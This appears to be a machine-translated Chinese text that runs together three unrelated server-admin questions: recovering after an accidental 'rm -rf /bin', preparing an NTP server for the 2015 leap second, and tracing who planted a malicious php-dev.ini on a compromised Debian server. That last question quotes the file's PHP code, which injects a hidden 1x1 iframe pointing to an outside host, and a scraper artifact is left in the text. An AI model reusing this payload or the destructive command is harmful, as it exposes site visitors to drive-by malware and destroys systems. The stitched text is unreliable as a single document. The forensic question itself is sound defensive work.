我只是跑了(不是故意的!)rm -rf /bin
。
我已经关闭了计算机并正在使用 Finnix 尝试从中恢复。我已经成功安装了驱动器,并确认,是的,整个/bin
文件夹都被删除了。
是否可以在不重新安装操作系统的情况下从中恢复?
我想我可以设置一个具有相同操作系统和架构(Ubuntu Server 11.10 alpha 版本,x86)的 VM 并安装我在服务器上安装的所有软件包,然后只需复制/bin
文件夹。
这会起作用吗?我最好重新开始吗?
2015 年 6 月 30 日 23:59:60 UTC 将出现闰秒。
我有一个基于 Linux 的第 1 层 NTP 服务器,它使用 GPS 作为参考时钟。服务器正在使用“默认” ntp.org ntpd
。
我应该如何为闰秒做准备以确保在闰秒时和之后有正确的时间可用?
ntpd
服务器会正确运行吗?
如果不确定,有没有办法事先测试?
我有一台运行 Debian Lenny 的服务器。最近我遇到了一些安全问题。我特别看到在 /etc/php5/conf.d 中创建了一个名为“php-dev.ini”的文件。乍一看,该文件看起来正常且无害,直到您打开它。它包含:
<?php print "<iframe src='http://google-traf.zyns.com/index.php?tp=4abd7c0637c89d7a' width='1' height='1' frameborder='0'></iframe>"; ?>
Run Code Online (Sandbox Code Playgroud)
显然我知道服务器有安全问题,所以请不要说“你给服务器打补丁了吗?” 回应。那已经完成了。已检查服务器是否存在 rootkit,并且没有可疑帐户。我对什么用户或 PID 正在写入此目录特别感兴趣,并且正在寻找可以使用哪些工具来帮助我。我已经研究过“iwatch”和“inotify”,但想在我走上研究之路之前从其他人那里得到一些反馈。有谁知道一个可以帮助我识别的好工具:
基本上,我希望做一些取证并了解监视文件系统。任何见解将不胜感激。
(编辑以引用 PHP 代码示例,因为它之前未显示。)